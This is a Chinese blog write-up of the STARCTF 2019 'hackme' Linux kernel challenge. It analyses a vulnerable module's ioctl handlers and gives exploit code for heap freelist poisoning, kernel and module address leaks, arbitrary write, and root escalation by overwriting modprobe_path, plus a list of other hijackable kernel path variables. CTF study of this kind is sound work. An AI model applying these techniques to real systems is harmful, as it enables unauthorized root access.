美文网首页内核安全CTFLinux
【linux内核漏洞利用】call_usermodehelper

【linux内核漏洞利用】call_usermodehelper

作者: bsauce | 来源:发表于2019-08-27 17:55 被阅读0次

    本文通过分析STARCTF 2019 hackme 题目,来总结一下提权时可修改的变量。不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量,然后一定条件触发即可提权。

    参考:

    http://p4nda.top/2019/05/01/starctf-2019-hackme/

    http://powerofcommunity.net/poc2016/x82.pdf

    〇、知识点

    (1)内核堆分配释放规则:基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。构造单链结构即可泄露堆地址,并构造任意地址写——类似fast bin attack。

    (2)如何泄露kernel_base: 猜测module的第一个堆块之前是已经在使用的系统块,上面可能存在一些内核指针。

    (3)如何泄露module加载地址,除了cat /proc/kallsyms | grep module_name

    kernel中的mod_tree处存放着各个加载模块的地址;cat /proc/kallsyms | grep mod_tree即可。

    (4)任意写到提权新姿势:劫持modprobe_path,然后通过执行一个错误的elf文件,触发。

    一、漏洞分析

    内核与用户交互接口是0x20的数据结构:

    00000000 hackme          struc ; (sizeof=0x20, mappedto_3)
    00000000 idx             dq ?
    00000008 user_buf        dq ?
    00000010 len             dq ?
    00000018 offset          dq ?
    00000020 hackme          ends
    

    0x30001 free

    signed __int64 __fastcall hackme_ioctl(__int64 fd, unsigned int cmd, __int64 hackme)
    {
      cmd2 = cmd;
      v4 = hackme;
      copy_from_user(&hackme2, hackme, 32LL);
    //释放后指针清零_release
      if ( cmd2 == 0x30001 )
      {
        index = 2LL * LODWORD(hackme2.idx);
        chunk = pool[index];
        addr = &pool[index];
        if ( chunk )
        {
          kfree(chunk, v4);
          *addr = 0LL;
          return 0LL;
        }
        return -1LL;
      }
    

    0x30002 write

    //从用户空间读取数据写入内核空间-write
    if ( cmd2 == 0x30002 )
        {
          index2 = 2LL * LODWORD(hackme2.idx);
          chunk2 = pool[index2];
          addr2 = &pool[index2];
          if ( chunk2 && hackme2.offset + hackme2.len <= (unsigned __int64)addr2[1] )
          {
            copy_from_user(hackme2.offset + chunk2, hackme2.user_buf, hackme2.len);
            return 0LL;
          }
        }
    

    0x30003 read

    //从内核空间读取数据写入用户空间
    if ( cmd2 == 0x30003 )
        {
          index3 = 2LL * LODWORD(hackme2.idx);
          chun3 = pool[index3];
          addr3 = &pool[index3];
          if ( chunk3 )
          {
            if ( hackme2.offset + hackme2.len <= (unsigned __int64)addr3[1] )
            {
              copy_to_user(hackme2.user_buf, hackme2.offset + chun3, hackme2.len);
              return 0LL;
            }
          }
        }
    

    0x30000 alloc

    //分配chunk并读取用户数据存入chunk
      if ( cmd2 != 0x30000 )
        return -1LL;
      len = hackme2.len;
      user_buf = hackme2.user_buf;
      addr4 = &pool[2 * LODWORD(hackme2.idx)];
      if ( *addr4 )
        return -1LL;
      chunk4 = _kmalloc(hackme2.len, 0x6000C0LL);
      if ( !chunk4 )
        return -1LL;
      *addr4 = chunk4;
      copy_from_user(chunk4, user_buf, len);
      addr4[1] = len;
      return 0LL;
    

    漏洞分析:全局数组pool存内核chunk地址+chunk大小,对这个数组的存取缺少锁操作,并且内核以多线程启动,明显存在竞争漏洞,如果释放内存后立刻竞争读写堆块,触发UAF。

    越界读写问题:write和read时未检查访问的地址偏移offset,为负数时可向上越界写任意长度内存。

    保护:开启KASLR、SMEP、SMAP。


    二、漏洞利用

    (1)思路一修改cred(取巧)

    修改cred:喷射大量cred在申请的内存前,通过向前越界读搜索到cred结构体,再将cred结构体的uid等值覆盖为0。但问题是,WCTF提到过,内核cred采用了cred_jar这个新的kmem_cache,与kmalloc使用的kmalloc-xx是隔离的,而且在尝试的过程中发现可以找到分配出来的cred结构体,但是在覆写过程中貌似在内存里存在保护的hole,当调研copy_from_user从cred覆写到我们kmalloc的块时,会出现kernel panic,提示在写一块non whitelist的内存。

    由于利用的时候堆块len都是0x100,必须覆写这么大的长度;其实可以控制驱动模块bss段上的size成员,实现局部写,直接修改结构体。

    (2)地址泄露

    堆地址泄露:

    基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。

    alloc(fd,0,mem,0x100);
    alloc(fd,1,mem,0x100);
    alloc(fd,2,mem,0x100);
    alloc(fd,3,mem,0x100);
    alloc(fd,4,mem,0x100);
    
    delete(fd,1);
    delete(fd,3);
    
    read_from_kernel(fd,4,mem,0x100,-0x100);
    heap_addr = *((size_t  *)mem);
    printf("[+] heap addr : %16llx\n",heap_addr );
    
    #释放1、3 后pool 内容
    peda> x /20gx 0xffffffffc0002400
    0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
    0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100
    0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
    #释放的2个堆块内容
    pwndbg> x /6gx 0xffff88800017a600
    0xffff88800017a600: 0xffff88800017aa00  0x4141414141414141
    0xffff88800017a610: 0x4141414141414141  0x4141414141414141
    0xffff88800017a620: 0x4141414141414141  0x4141414141414141
    pwndbg> x /6gx 0xffff88800017a800
    0xffff88800017a800: 0xffff88800017a600  0x4141414141414141
    0xffff88800017a810: 0x4141414141414141  0x4141414141414141
    0xffff88800017a820: 0x4141414141414141  0x4141414141414141
    

    利用4号chunk向前越界读即可读出堆地址。

    内核基址:

    猜测:0号内存0xffff88800017a500之前是已经在用的系统块,那么一定存在一些内核的指针。

    证实:查看首个模块创建的堆块之前的内存,看看哪一个落在内核空间即可。

    read_from_kernel(fd,0,mem,0x200,-0x200);
    kernel_addr = *((size_t  *)(mem+0x28)) ;
    if ((kernel_addr & 0xfff) != 0xae0){
        printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
        exit(-1);
    }
        
    kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
    printf("[+] kernel addr : %16llx\n",kernel_addr );
    
    #首个块之前的数据 ,内核基址是 0xffffffffb6000000
    (gdb) x /100xg 0xffffa0ff8017a500-0x200
    0xffffa0ff8017a300: 0xffffa0ff8017a378  0x0000000100000000
    0xffffa0ff8017a310: 0x0000000000000001  0x0000000000000000
    0xffffa0ff8017a320: 0xffffa0ff8017a378  0xffffffffb6849ae0      <---
    0xffffa0ff8017a330: 0xffffffffb6849ae0  0xffffa0ff80015100
    

    模块地址:

    类似fastbin attack,构造任意地址读写。内核中mod_tree处存放着各个模块的加载地址。cat /proc/kallsyms |grep mod_tree即可找到。

    查找hackme加载地址在mod_tree中偏移:

    /home/pwn # cat /proc/kallsyms | grep mod_tree
    ffffffff81811000 d mod_tree
    /home/pwn # cat /proc/kallsyms | grep hackme
    ffffffffc0000000 t hackme_ioctl [hackme]
    
    peda>  x /20gx 0xffffffff81811000
    0xffffffff81811000: 0x0000000000000006  0xffffffffc0002320
    0xffffffff81811010: 0xffffffffc0002338  0xffffffffc0000000     <----
    

    "fastbin attack"构造任意读写:

    #溢出修改fd后,第3个chunk内存(释放块)变为:
    peda> x /10gx 0xffff88800017a800
    0xffff88800017a800: 0xffffffff81811040  0x4141414141414141
    #连续alloc两次即可拿到内核地址:
    peda> x /20gx 0xffffffffc0002400
    0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100  #0
    0xffffffffc0002410: 0x0000000000000000  0x0000000000000100  #1
    0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100  #2
    0xffffffffc0002430: 0x0000000000000000  0x0000000000000100  #3
    0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100  #4
    0xffffffffc0002450: 0xffff88800017a800  0x0000000000000100  #5
    0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100  #6 <-------
    

    泄露hackme加载地址的代码如下(尽量采用负数越界读的方法泄露地址,防止复制毁坏数据):

    memset(mem,'A',0x100);
    *((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
    write_to_kernel(fd,4,mem,0x100,-0x100);
    alloc(fd,5,mem,0x100);
    alloc(fd,6,mem,0x100);
    
    read_from_kernel(fd,6,mem,0x40,-0x40);
    mod_addr =  *((size_t  *)(mem+0x18)) ;
    printf("[+] mod addr : %16llx\n",mod_addr );
    

    (3)内存任意写

    泄露内核基址后,可再次利用"fastbin attack"将.bss段的pool申请下来。

    //使得新块申请到pool的0xc0偏移处。 第12个块
    delete(fd,2);
    delete(fd,5);
    
    *((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
    write_to_kernel(fd,4,mem,0x100,-0x100);
    alloc(fd,7,mem,0x100);
    alloc(fd,8,mem,0x100); // pool
    
    #第8个块处拿到pool地址
    peda> x /20gx 0xffffffffc0002400
    0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
    0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002420: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
    0xffffffffc0002450: 0x0000000000000000  0x0000000000000100
    0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100
    0xffffffffc0002470: 0xffff88800017a800  0x0000000000000100
    0xffffffffc0002480: 0xffffffffc00024c0  0x0000000000000100   # <----------
    0xffffffffc0002490: 0x0000000000000000  0x0000000000000000
    

    由此可向pool项中增加任意想写的地址和len,造成任意地址写。

    (4)权限提升

    可参考 StringIPC—从任意读写到权限提升三种方法

    新方法:修改modprobe_path指向bash脚本,利用一个非正确格式的ELF文件触发。

    *((size_t *)(mem+0x8)) = 0x100; 
    *((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
    write_to_kernel(fd,8,mem,0x10,0);
    
    strncpy(mem,"/home/pwn/copy.sh\0",18);
    write_to_kernel(fd,0xc,mem,18,0);
    
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
    system("chmod +x /home/pwn/dummy");
    
    system("/home/pwn/dummy");
    system("cat flag");
    

    三、总结提权时可劫持的变量

    不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

    (1) modprobe_path

    // /kernel/kmod.c
    char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
    // /kernel/kmod.c
    static int call_modprobe(char *module_name, int wait) 
        argv[0] = modprobe_path;
        info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                         NULL, free_modprobe_argv, NULL);
        return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    // /kernel/kmod.c
    int __request_module(bool wait, const char *fmt, ...)
        ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
    

    __request_module - try to load a kernel module

    触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

    (2)poweroff_cmd

    // /kernel/reboot.c
    char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
    // /kernel/reboot.c
    static int run_cmd(const char *cmd)
        argv = argv_split(GFP_KERNEL, cmd, NULL);
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    // /kernel/reboot.c
    static int __orderly_poweroff(bool force)    
        ret = run_cmd(poweroff_cmd);
    

    触发:执行__orderly_poweroff()即可。

    (3)uevent_helper

    // /lib/kobject_uevent.c
    #ifdef CONFIG_UEVENT_HELPER
    char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
    // /lib/kobject_uevent.c
    static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
    {  ......
        env->argv[0] = uevent_helper; 
      ...... }
    // /lib/kobject_uevent.c
    int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
                   char *envp_ext[])
    {......
        retval = init_uevent_argv(env, subsystem);
        info = call_usermodehelper_setup(env->argv[0], env->argv,
                             env->envp, GFP_KERNEL,
                             NULL, cleanup_uevent_env, env);
    ......}
    

    (4)ocfs2_hb_ctl_path

    // /fs/ocfs2/stackglue.c
    static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
    // /fs/ocfs2/stackglue.c
    static void ocfs2_leave_group(const char *group)
        argv[0] = ocfs2_hb_ctl_path;
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    

    (5)nfs_cache_getent_prog

    // /fs/nfs/cache_lib.c
    static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                    "/sbin/nfs_cache_getent";
    // /fs/nfs/cache_lib.c
    int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
        char *argv[] = {
            nfs_cache_getent_prog,
            cd->name,
            entry_name,
            NULL
        };
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    

    (6)cltrack_prog

    // /fs/nfsd/nfs4recover.c
    static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
    // /fs/nfsd/nfs4recover.c
    static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
        argv[0] = (char *)cltrack_prog;
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    

    相关文章

      网友评论

        本文标题:【linux内核漏洞利用】call_usermodehelper

        本文链接:https://www.haomeiwen.com/subject/clcyectx.html